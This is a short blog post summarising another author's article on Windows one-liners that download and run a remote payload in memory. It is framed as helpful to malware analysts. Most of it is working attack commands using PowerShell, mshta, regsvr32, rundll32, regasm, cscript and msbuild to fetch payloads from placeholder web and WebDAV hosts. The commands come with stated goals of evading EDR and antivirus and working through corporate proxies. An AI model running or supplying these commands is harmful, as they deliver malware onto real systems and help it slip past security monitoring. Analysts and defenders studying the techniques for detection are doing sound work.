This post on arno0x0x's blog is awesome: an accurate analysis of some 'one-line commands' that can be used on a windows system in order to download a malicious payload and execute it.

The examples are developed using several script languages, it works in memory with a minimal disk footprint and are "proxy aware", so can be executed also from a corporate network.

Priceless informations for any malware analyst!

Prerequisites

  • allow for execution of arbitrary code – because spawning calc.exe is cool, but has its limits huh ?
  • allow for downloading its payload from a remote server – because your super malware/RAT/agent will probably not fit into a single command line, does it ?
  • be proxy aware – because which company doesn’t use a web proxy for outgoing traffic nowadays ?
  • make use of as standard and widely deployed Microsoft binaries as possible – because you want this command line to execute on as much systems as possible
  • be EDR friendly – oh well, Office spawning cmd.exe is already a bad sign, but what about powershell.exe or cscript.exe downloading stuff from the internet ?
  • work in memory only – because your final payload might get caught by AV when written on disk

Examples

Powershell

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

Process performing network call: powershell.exe
Payload written on disk: NO

Cmd

cmd.exe /k < \\webdavserver\folder\batchfile.txt

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Cscript/Wscript

cscript //E:jscript \\webdavserver\folder\payload.txt

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Mshta

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

Process performing network call: mshta.exe
Payload written on disk: IE local cache

Rundll32

rundll32 \\webdavserver\folder\payload.dll,entrypoint

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Regasm/Regsvc

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Regsvr32

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

Process performing network call: regsvr32.exe
Payload written on disk: IE local cache

Msbuild

cmd /V/c"set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

For more information and examples, plese refer to arno0x0x'a article:

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